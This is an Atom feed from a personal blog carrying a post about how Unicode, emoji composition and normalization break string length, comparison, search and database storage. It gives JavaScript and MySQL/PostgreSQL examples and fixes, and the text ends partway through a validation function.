<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://blog.shaswatrungta.online/feed.xml" rel="self" type="application/atom+xml" /><link href="https://blog.shaswatrungta.online/" rel="alternate" type="text/html" /><updated>2026-07-21T20:26:07+05:30</updated><id>https://blog.shaswatrungta.online/feed.xml</id><title type="html">Shaswat Rungta</title><subtitle>Personal blog about my experiments with tools and frameworks.</subtitle><entry><title type="html">When 💩 hits the database</title><link href="https://blog.shaswatrungta.online/blog/start-right/emoji" rel="alternate" type="text/html" title="When 💩 hits the database" /><published>2026-07-21T00:00:00+05:30</published><updated>2026-07-21T00:00:00+05:30</updated><id>https://blog.shaswatrungta.online/blog/start-right/emoji</id><content type="html" xml:base="https://blog.shaswatrungta.online/blog/start-right/emoji"><![CDATA[<h2 id="chapter-1-a-brief-history-of-world-knowledge">Chapter 1: A brief history of world knowledge</h2>

<p>The need for communication and passing on knowledge is one of the most essential human traits.
We have evolved from sign languages and cave paintings to using leaves and stones for the written word.
We sped through the whole paper era (in a short couple of centuries ) and landed in the information age where everything went digital.</p>

<p>In the beginning, computers had a small vocabulary. We were so busy getting the word out about the internet, we had little time to consider if the word was understood. As the internet grew from a mostly English-speaking network into a place for the whole world, text had to evolve with it. Every step made online communication richer, but it also quietly broke another assumption programmers had made about what a “character” really is.</p>

<blockquote>
  <p>🧐 Are emojis modern day cave paintings?? 😯</p>
</blockquote>

<h3 id="ascii-the-simple-days">ASCII (The Simple Days)</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>A = 65
B = 66
...
Z = 90
</code></pre></div></div>

<p>128 characters total. All English letters, numbers, basic punctuation. 7 bits. Life was simple.</p>

<p>🌎 <strong>Then the internet happened.</strong></p>

<h3 id="unicode-the-complicated-now">Unicode (The Complicated Now)</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>A = U+0041 (Latin Capital Letter A)
Á = U+00C1 (Latin Capital Letter A with Acute)
А = U+0410 (Cyrillic Capital Letter A)
Α = U+0391 (Greek Capital Letter Alpha)
𝐀 = U+1D400 (Mathematical Bold Capital A)
</code></pre></div></div>

<p>140,000+ characters. Multiple ways to represent the same thing. Combining characters. Emoji. Emoji with skin tones. Emoji combined with other emoji.</p>

<blockquote>
  <p>Unicode went from <strong>“character set”</strong> to <strong>“every written symbol in human history plus emoji”</strong>.</p>
</blockquote>

<h2 id="chapter-2-the-many-ways-characters-lie-about-their-size">Chapter 2: The Many Ways Characters Lie About Their Size</h2>

<p>Traditional knowledge tells us that the size of a string should be equal to the number of character you see in it. And traditionally all characters used to take a fixed 1 byte memory. So if i wanted to store a <code class="language-plaintext highlighter-rouge">Name</code> of 100 characters, I would allocate 100 length to my database column.<br />
But unfortunately modern unicode breaks these assumption in many ways, most commonly due to the way the size of a character is calculated.</p>

<h3 id="size-lie-1-utf-8-variable-length">Size Lie #1: UTF-8 Variable Length</h3>

<p>Single characters in print can often need more space to store.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="dl">'</span><span class="s1">A</span><span class="dl">'</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>        <span class="c1">// 1 UTF-16 code unit (1 byte in UTF-8)</span>
<span class="dl">'</span><span class="s1">€</span><span class="dl">'</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>        <span class="c1">// 1 UTF-16 code unit (3 bytes in UTF-8)</span>
<span class="dl">'</span><span class="s1">💩</span><span class="dl">'</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>       <span class="c1">// 2 UTF-16 code units (4 bytes in UTF-8)</span>
</code></pre></div></div>

<p>If you had a 100-byte limit thinking it should store 100 characters, what fits is actually:</p>
<ul>
  <li>100 ASCII characters ✅</li>
  <li>33 Euro signs (3 bytes each)</li>
  <li>25 emoji (4 bytes each)</li>
</ul>

<h3 id="size-lie-2-combined-characters">Size Lie #2: Combined Characters</h3>

<p>Sometime single characters may not be single characters at all. Depending on how you process them they can be of different lengths,</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="dl">'</span><span class="s1">é</span><span class="dl">'</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>  <span class="c1">// Could be 1 or 2!</span>

<span class="c1">// Option 1: Single character (NFC - composed)</span>
<span class="dl">'</span><span class="s1">é</span><span class="dl">'</span> <span class="o">=</span> <span class="nx">U</span><span class="o">+</span><span class="mi">00</span><span class="nx">E9</span> <span class="p">(</span><span class="mi">1</span> <span class="nx">character</span><span class="p">)</span>

<span class="c1">// Option 2: Base + combining accent (NFD - decomposed)  </span>
<span class="dl">'</span><span class="s1">e</span><span class="dl">'</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">́</span><span class="dl">'</span> <span class="o">=</span> <span class="nx">U</span><span class="o">+</span><span class="mi">0065</span> <span class="o">+</span> <span class="nx">U</span><span class="o">+</span><span class="mi">0301</span> <span class="p">(</span><span class="mi">2</span> <span class="nx">characters</span><span class="p">)</span>
</code></pre></div></div>

<p>The characters look identical. But they’re different in memory.
This also leads to an interesting comparison problem.<br />
<strong>‘é’ === ‘é’  can sometimes be false!</strong>
Which means your database indexes them as different values and your lookups fail mysteriously.</p>

<blockquote>
  <p>Usually most languages have an equivalent of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/normalize">normalise()</a> function for strings. In that case <strong>‘é’.normalize() === ‘é’.normalize()</strong> gives a <strong>True</strong> result.</p>
</blockquote>

<h3 id="size-lie-3-emoji-combiners">Size Lie #3: Emoji Combiners</h3>

<p>Emojis revolutionised the way humans communicate. However emojis follow an interesting composition pattern.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="dl">'</span><span class="s1">👨‍👩‍👧‍👦</span><span class="dl">'</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>  <span class="c1">// 11</span>

<span class="c1">// Actually:</span>
<span class="dl">'</span><span class="s1">👨</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">ZWJ</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">👩</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">ZWJ</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">👧</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">ZWJ</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">👦</span><span class="dl">'</span>
<span class="c1">// Man + Zero Width Joiner + Woman + ZWJ + Girl + ZWJ + Boy</span>
<span class="c1">// = Family emoji (displays as 1)</span>
</code></pre></div></div>

<p>Your JavaScript counter reports “This is 11 UTF-16 code units,” while the user sees just 1 emoji. Your validation thinks “That’s fine,” but a byte-limited field can reject it: this sequence is 25 UTF-8 bytes.</p>

<h2 id="chapter-3-real-world-horror-stories">Chapter 3: Real-World Horror Stories</h2>

<p>All this information is not just theoritical. It happens in production system day-in day-out. Below are some ways in which they can happen trivially.</p>

<h3 id="story-1-the-name-that-broke-authentication">Story 1: The Name That Broke Authentication</h3>

<p>A user named <strong>José</strong> creates an account. Your system normalizes and stores it as “<strong>José</strong>” using NFC normalization. When <strong>José</strong> logs in the next day and types their name, their keyboard or input method produces the NFD normalized version: “<strong>José</strong>”. Your system tries to look up “<strong>José</strong>” in the database but finds nothing, because it’s searching for the NFD form against the stored NFC form. The user sees “Who’s <strong>José</strong>? I don’t know that user.”</p>

<blockquote>
  <p><strong>NFD - Normalization Form Decomposed.</strong> Breaks characters into base character + combining marks. Example: é = e + ´ (separate bytes)
<strong>NFC - Normalization Form Composed.</strong> Combines base character + marks into single precomposed character. Example: é = é (single byte)</p>
</blockquote>

<p><strong>Fix:</strong> Normalize all input before comparison</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">normalizeText</span><span class="p">(</span><span class="nx">str</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">return</span> <span class="nx">str</span><span class="p">.</span><span class="nx">normalize</span><span class="p">(</span><span class="dl">'</span><span class="s1">NFC</span><span class="dl">'</span><span class="p">);</span>
<span class="p">}</span>

<span class="nx">username</span> <span class="o">===</span> <span class="nx">savedUsername</span>  <span class="c1">// ❌ Can fail</span>
<span class="nx">normalizeText</span><span class="p">(</span><span class="nx">username</span><span class="p">)</span> <span class="o">===</span> <span class="nx">normalizeText</span><span class="p">(</span><span class="nx">savedUsername</span><span class="p">)</span>  <span class="c1">// ✅ Works</span>
</code></pre></div></div>

<h3 id="story-2-the-email-that-traveled-through-time">Story 2: The Email That Traveled Through Time</h3>

<p>A User in Japan sends email with kanji characters.<br />
<strong>Email server 1 (UTF-8):</strong> Passes it along fine<br />
<strong>Email server 2 (ISO-8859-1):</strong> Can’t handle kanji, converts to <code class="language-plaintext highlighter-rouge">?</code><br />
<strong>Email server 3 (UTF-8):</strong> Sees <code class="language-plaintext highlighter-rouge">?</code> and assumes that’s the data<br />
<strong>Recipient:</strong> Gets email full of <code class="language-plaintext highlighter-rouge">?</code> characters</p>

<p><strong>This is mojibake.</strong> Text corrupted by charset mismatches.</p>

<p><strong>The fix:</strong> Always specify charset in Content-Type headers</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Type: text/html; charset=UTF-8
</code></pre></div></div>

<blockquote>
  <p>This is also one of the reasons why old smartphones could not render emojis in SMS and showed a string of ? or black boxed question marks.</p>
</blockquote>

<h3 id="story-3-the-tweet-that-was-too-long">Story 3: The Tweet That Was Too Long</h3>

<p>On Twitter <em>(I refuse to call it X! )</em>, tweets are limited to 280 characters.</p>

<p><strong>User tweets:</strong> “🏴󠁧󠁢󠁥󠁮󠁧󠁿🏴󠁧󠁢󠁳󠁣󠁴󠁿🏴󠁧󠁢󠁷󠁬󠁳󠁿 (3 flag emoji).<br />
<strong>Intuition:</strong> “This is 3 characters”<br />
<strong>Reality:</strong> This is 42 code points (14 per flag)</p>

<p><strong>Result:</strong> The twitter character counter disagrees with you and shows you are using much more than 3 characters.</p>

<p><strong>Platform reality:</strong> X uses its own weighted counting rules, not JavaScript’s built-in string length.</p>

<p>You can read about there actual computation on their <a href="https://docs.x.com/fundamentals/counting-characters">developer site.</a></p>

<blockquote>
  <p>Grapheme clusters are the user-perceived characters. A single emoji flag (like 🏴󠁧󠁢󠁥󠁮󠁧󠁿) is one grapheme cluster even though it’s 14 code points.
A code point is Unicode’s assigned number for a unit of text, such as a letter, emoji component, or invisible joiner.</p>
</blockquote>

<h3 id="story-4-the-database-migration-that-deleted-data">Story 4: The Database Migration That Deleted Data</h3>

<p>When migrating database, your primary focus is that tables should not get dropped, there should be no downtime, the columns should get mapped correctly. However managing migrations of character set has its own set of challengers.</p>

<p><strong>Scenario:</strong> Migrating from MySQL with <code class="language-plaintext highlighter-rouge">latin1</code> to <code class="language-plaintext highlighter-rouge">utf8mb4</code></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- Old table</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">users</span> <span class="p">(</span>
  <span class="n">name</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span> <span class="nb">CHARACTER</span> <span class="k">SET</span> <span class="n">latin1</span>
<span class="p">);</span>

<span class="c1">-- New table</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">users</span> <span class="p">(</span>
  <span class="n">name</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span> <span class="nb">CHARACTER</span> <span class="k">SET</span> <span class="n">utf8mb4</span>
<span class="p">);</span>
</code></pre></div></div>

<p><strong>The trap:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">latin1</code>: <code class="language-plaintext highlighter-rouge">VARCHAR(100)</code> stores up to 100 characters, using up to 100 bytes for the value</li>
  <li><code class="language-plaintext highlighter-rouge">utf8mb4</code>: <code class="language-plaintext highlighter-rouge">VARCHAR(100)</code> still stores up to 100 characters, using up to 400 bytes for the value</li>
</ul>

<p><strong>But MySQL also has row and index-size limits, depending on the storage engine, row format, and indexes.</strong></p>

<p>If you have 200 VARCHAR(100) columns:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">latin1</code>: 200 × 100 = 20,000 bytes ✅</li>
  <li><code class="language-plaintext highlighter-rouge">utf8mb4</code>: 200 × 400 = 80,000 bytes at the theoretical maximum</li>
</ul>

<p>your migration could hit an engine-specific limit, or your data could get truncated if the migration is not planned carefully.
The fix would usually be to reduce VARCHAR sizes or split across tables.</p>

<h3 id="story-5-the-search-that-found-nothing">Story 5: The Search That Found Nothing</h3>

<p>Since we are talking databses, searching for an existing value is often the most popular use case.
Lets take an example.<br />
<strong>User searches for:</strong> “café”<br />
<strong>Database has:</strong> “cafe”, “café”, “café” (composed), “café” (decomposed)</p>

<p><strong>Your search:</strong></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">places</span> <span class="k">WHERE</span> <span class="n">name</span> <span class="o">=</span> <span class="s1">'café'</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>Results:</strong> DB would usually return only exact matches and misses variations which in this case you obviously wanted.</p>

<p><strong>The fix:</strong> Normalize before storing, normalize before searching</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- PostgreSQL example</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">places</span> <span class="k">WHERE</span> <span class="n">unaccent</span><span class="p">(</span><span class="n">name</span><span class="p">)</span> <span class="o">=</span> <span class="n">unaccent</span><span class="p">(</span><span class="s1">'café'</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="story-6-the-url-that-broke-routing">Story 6: The URL That Broke Routing</h3>

<p>Unicode also turns up in places where you assume some default behaviour. One of the common ways sites create persistent readable links is to have text in the URL path. However browsers have been built to handle unicode by default when routing.</p>

<p><strong>User creates profile:</strong> <code class="language-plaintext highlighter-rouge">https://site.com/users/José</code>.<br />
<strong>Browser URL-encodes:</strong> <code class="language-plaintext highlighter-rouge">https://site.com/users/Jos%C3%A9</code></p>

<p><strong>Your router:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/users/:name</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">user</span> <span class="o">=</span> <span class="nx">getUser</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">name</span><span class="p">);</span>
  <span class="c1">// req.params.name is "Jos%C3%A9" or "José" depending on framework</span>
<span class="p">});</span>
</code></pre></div></div>

<p>Some frameworks would decode automatically but it is always good to check. Anyway, a better way to create permalinks is not to have user input in the URL.</p>

<p><strong>The fix:</strong> Always use IDs in URLs, not names</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌  Bad</span>
<span class="o">/</span><span class="nx">users</span><span class="o">/</span><span class="nx">José</span>

<span class="c1">// ✅ Good</span>
<span class="o">/</span><span class="nx">users</span><span class="o">/</span><span class="mi">123</span>
</code></pre></div></div>

<h2 id="chapter-4-the-emoji-special-cases">Chapter 4: The Emoji Special Cases</h2>

<p>We talk about compositional emojis. However the composition itself has many different variation.</p>

<h3 id="skin-tone-modifiers">Skin Tone Modifiers</h3>
<p>Emojis have additive modifiers. You take a base emoji and add an inflextion on it. This is how you get a hand wave sign in your own skin tone.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="dl">'</span><span class="s1">👋</span><span class="dl">'</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>      <span class="c1">// 2 (base emoji)</span>
<span class="dl">'</span><span class="s1">👋🏻</span><span class="dl">'</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>     <span class="c1">// 4 (base emoji + skin tone modifier)</span>
</code></pre></div></div>

<p>Your emoji picker now shows 5 skin tone options. But in your database each takes different space. So beware of these additions.</p>

<h3 id="flags">Flags</h3>

<p>Flags are a fun variation of composition.
For example, If you look at the US flag emoji.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="dl">'</span><span class="s1">🇺🇸</span><span class="dl">'</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>     <span class="c1">// 4</span>

<span class="c1">// Actually two "Regional Indicator" characters:</span>
<span class="c1">// U+1F1FA (Regional Indicator U) + U+1F1F8 (Regional Indicator S)</span>
<span class="c1">// = US flag</span>
</code></pre></div></div>

<p>Your database may not recognize this as one flag<br />
Your rendering might show “U” “S” instead of 🇺🇸</p>

<h3 id="gender-and-profession-variations">Gender and Profession Variations</h3>

<p>Similar variations arise for gender and profession emojis.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="dl">'</span><span class="s1">👨</span><span class="dl">'</span>              <span class="c1">// Man</span>
<span class="dl">'</span><span class="s1">👨‍⚕️</span><span class="dl">'</span>             <span class="c1">// Man + ZWJ + Medical symbol = Male doctor</span>
<span class="dl">'</span><span class="s1">👩‍⚕️</span><span class="dl">'</span>             <span class="c1">// Woman + ZWJ + Medical symbol = Female doctor</span>
<span class="dl">'</span><span class="s1">🧑‍⚕️</span><span class="dl">'</span>             <span class="c1">// Person + ZWJ + Medical symbol = Doctor (gender neutral)</span>
</code></pre></div></div>

<p>Each variation has a different byte count</p>

<h2 id="chapter-5-the-database-encoding-trap">Chapter 5: The Database Encoding Trap</h2>

<p>I have spent years working with databases without caring about caracter sets. In most case, databases come with good defaults, or their onboarding guides give examples of most defensive settings. However it is good to know how they affect storage in the context of what we discussed thus far.</p>

<h3 id="mysql-character-sets-a-history-of-mistakes">MySQL Character Sets (A History of Mistakes)</h3>

<p><strong><code class="language-plaintext highlighter-rouge">latin1</code></strong> (default for ancient MySQL)</p>
<ul>
  <li>1 byte per character</li>
  <li>Only Western European languages</li>
  <li>Can’t store emoji</li>
</ul>

<p><strong><code class="language-plaintext highlighter-rouge">utf8</code></strong> (MySQL’s version, not real UTF-8)</p>
<ul>
  <li>Max 3 bytes per character</li>
  <li>Can store most characters</li>
  <li><strong>Cannot store emoji</strong> (emoji need 4 bytes)</li>
</ul>

<p><strong><code class="language-plaintext highlighter-rouge">utf8mb4</code></strong> (actual UTF-8)</p>
<ul>
  <li>Max 4 bytes per character</li>
  <li>Can store emoji</li>
  <li><strong>This is what you want</strong></li>
</ul>

<p><strong>The trap:</strong></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- Your table uses default charset (latin1)</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">users</span> <span class="p">(</span><span class="n">name</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">100</span><span class="p">));</span>

<span class="c1">-- User tries to save emoji</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">users</span> <span class="p">(</span><span class="n">name</span><span class="p">)</span> <span class="k">VALUES</span> <span class="p">(</span><span class="s1">'Alice 😀'</span><span class="p">);</span>

<span class="c1">-- MySQL:</span>
<span class="c1">-- ❌ Error: Incorrect string value</span>
<span class="c1">-- OR</span>
<span class="c1">-- ⚠️ Silently truncates emoji</span>
</code></pre></div></div>

<p><strong>The fix:</strong></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- Specify utf8mb4 explicitly</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">users</span> <span class="p">(</span>
  <span class="n">name</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span> <span class="nb">CHARACTER</span> <span class="k">SET</span> <span class="n">utf8mb4</span> <span class="k">COLLATE</span> <span class="n">utf8mb4_unicode_ci</span>
<span class="p">);</span>

<span class="c1">-- Or set database default</span>
<span class="k">ALTER</span> <span class="k">DATABASE</span> <span class="n">mydb</span> <span class="nb">CHARACTER</span> <span class="k">SET</span> <span class="n">utf8mb4</span> <span class="k">COLLATE</span> <span class="n">utf8mb4_unicode_ci</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="postgresql-mostly-gets-it-right">PostgreSQL (Mostly Gets It Right)</h3>

<p>PostgreSQL uses UTF-8 by default. Emoji just work. But <code class="language-plaintext highlighter-rouge">CHAR(n)</code> is still usually the wrong type for user input:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">users</span> <span class="p">(</span><span class="n">name</span> <span class="nb">CHAR</span><span class="p">(</span><span class="mi">10</span><span class="p">));</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">users</span> <span class="p">(</span><span class="n">name</span><span class="p">)</span> <span class="k">VALUES</span> <span class="p">(</span><span class="s1">'Hello 👋'</span><span class="p">);</span>

<span class="c1">-- This fits, but CHAR pads values with spaces.</span>
</code></pre></div></div>

<p><strong>The fix:</strong> Use <code class="language-plaintext highlighter-rouge">VARCHAR(n)</code> when you need a character limit, or <code class="language-plaintext highlighter-rouge">TEXT</code> when you do not. Avoid <code class="language-plaintext highlighter-rouge">CHAR(n)</code> for variable-length user input.</p>

<h2 id="chapter-6-the-application-layer-traps">Chapter 6: The Application Layer Traps</h2>

<p>We talked a lot about database level storage till now. However at some point you also have to show the stored text to the users, or atlest process it somehow in your application code.
There are many traps there as well.</p>

<h3 id="trap-1-string-length-validation">Trap 1: String Length Validation</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// User enters: "Hello 👨‍👩‍👧‍👦"</span>
<span class="kd">const</span> <span class="nx">input</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">Hello 👨‍👩‍👧‍👦</span><span class="dl">"</span><span class="p">;</span>

<span class="c1">// Wrong</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">input</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="mi">20</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="dl">'</span><span class="s1">Too long</span><span class="dl">'</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// input.length = 17 (11 for emoji + 6 for "Hello ")</span>

<span class="c1">// Right</span>
<span class="kd">const</span> <span class="nx">segmenter</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Intl</span><span class="p">.</span><span class="nx">Segmenter</span><span class="p">(</span><span class="dl">'</span><span class="s1">en</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span> <span class="na">granularity</span><span class="p">:</span> <span class="dl">'</span><span class="s1">grapheme</span><span class="dl">'</span> <span class="p">});</span>
<span class="kd">const</span> <span class="nx">graphemes</span> <span class="o">=</span> <span class="nb">Array</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="nx">segmenter</span><span class="p">.</span><span class="nx">segment</span><span class="p">(</span><span class="nx">input</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">graphemes</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="mi">20</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="dl">'</span><span class="s1">Too long</span><span class="dl">'</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// graphemes.length = 7 (1 for emoji + 6 for "Hello ")</span>
</code></pre></div></div>

<blockquote>
  <p>The choice of using graphemes or actual char count depends on how you want to impose limits on user input.</p>
</blockquote>

<h3 id="trap-2-substring-operations">Trap 2: Substring Operations</h3>
<p>If we are having trouble deterministically finding how long a string is, it falls to reason that splitting it would also be hard.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">text</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">Hello 👨‍👩‍👧‍👦 World</span><span class="dl">"</span><span class="p">;</span>

<span class="c1">// Wrong</span>
<span class="nx">text</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span>  <span class="c1">// "Hello 👨‍�" (cuts emoji in half!)</span>

</code></pre></div></div>
<p>The solution usually is to use grapheme-aware libraries or avoid substring with emoji 😜</p>

<h3 id="trap-3-regex-matching">Trap 3: Regex Matching</h3>

<p>Regex match is string processing final boss. If you thought splitting string was hard, matching it against a pattern can be a whole new box of wonders.
s</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Match any single character</span>
<span class="kd">const</span> <span class="nx">regex</span> <span class="o">=</span> <span class="sr">/^.$/</span><span class="p">;</span>

<span class="dl">'</span><span class="s1">A</span><span class="dl">'</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="nx">regex</span><span class="p">);</span>           <span class="c1">// ✅ Match</span>
<span class="dl">'</span><span class="s1">💩</span><span class="dl">'</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="nx">regex</span><span class="p">);</span>          <span class="c1">// ❌ No match (2 UTF-16 units)</span>
<span class="dl">'</span><span class="s1">👨‍👩‍👧‍👦</span><span class="dl">'</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="nx">regex</span><span class="p">);</span>      <span class="c1">// ❌ No match (11 UTF-16 units)</span>

<span class="c1">// Better</span>
<span class="kd">const</span> <span class="nx">regex</span> <span class="o">=</span> <span class="sr">/^.$/u</span><span class="p">;</span>  <span class="c1">// Unicode flag</span>
<span class="dl">'</span><span class="s1">💩</span><span class="dl">'</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="nx">regex</span><span class="p">);</span>          <span class="c1">// ✅ Match</span>

<span class="c1">// But still won't match combined emoji</span>
<span class="dl">'</span><span class="s1">👨‍👩‍👧‍👦</span><span class="dl">'</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="nx">regex</span><span class="p">);</span>      <span class="c1">// ❌ Still no match</span>
</code></pre></div></div>

<h2 id="chapter-7-the-fixes">Chapter 7: The Fixes</h2>

<p>Despite all the above, the world continues to communicate in emojis, accented characters, regional languages; So there must be some way all of it continues to work.
Here are some tips.</p>

<h3 id="fix-1-use-utf-8-everywhere">Fix 1: Use UTF-8 Everywhere</h3>

<p><strong>Database</strong>: utf8mb4.<br />
<strong>API responses</strong>: Content-Type: application/json; charset=UTF-8.<br />
<strong>HTML</strong>: <code class="language-plaintext highlighter-rouge">&lt;meta charset="UTF-8"&gt;</code><br />
<strong>Files</strong>: Save as UTF-8.<br />
<strong>Environment</strong>: Set LANG=en_US.UTF-8.</p>

<h3 id="fix-2-normalize-user-input">Fix 2: Normalize User Input</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">normalizeInput</span><span class="p">(</span><span class="nx">str</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">return</span> <span class="nx">str</span>
    <span class="p">.</span><span class="nx">normalize</span><span class="p">(</span><span class="dl">'</span><span class="s1">NFC</span><span class="dl">'</span><span class="p">)</span> <span class="c1">// Normalize to composed form</span>
    <span class="p">.</span><span class="nx">trim</span><span class="p">();</span> <span class="c1">// Remove whitespace</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="fix-3-count-graphemes-not-code-points">Fix 3: Count Graphemes, Not Code Points</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">countGraphemes</span><span class="p">(</span><span class="nx">str</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">segmenter</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Intl</span><span class="p">.</span><span class="nx">Segmenter</span><span class="p">(</span><span class="dl">'</span><span class="s1">en</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span> <span class="na">granularity</span><span class="p">:</span> <span class="dl">'</span><span class="s1">grapheme</span><span class="dl">'</span> <span class="p">});</span>
  <span class="k">return</span> <span class="nb">Array</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="nx">segmenter</span><span class="p">.</span><span class="nx">segment</span><span class="p">(</span><span class="nx">str</span><span class="p">)).</span><span class="nx">length</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="fix-4-validate-before-storing">Fix 4: Validate Before Storing</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">validateText</span><span class="p">(</span><span class="nx">str</span><span class="p">,</span> <span class="nx">maxGraphemes</span><span class="p">,</span> <span class="nx">maxBytes</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">graphemes</span> <span class="o">=</span> <span class="nx">countGraphemes</span><span class="p">(</span><span class="nx">str</span><span class="p">);</span>
  <span class="kd">const</span> <span class="nx">bytes</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">TextEncoder</span><span class="p">().</span><span class="nx">encode</span><span class="p">(</span><span class="nx">str</span><span class="p">).</span><span class="nx">length</span><span class="p">;</span>
  
  <span class="k">if</span> <span class="p">(</span><span class="nx">graphemes</span> <span class="o">&gt;</span> <span class="nx">maxGraphemes</span><span class="p">)</span> <span class="p">{</span>
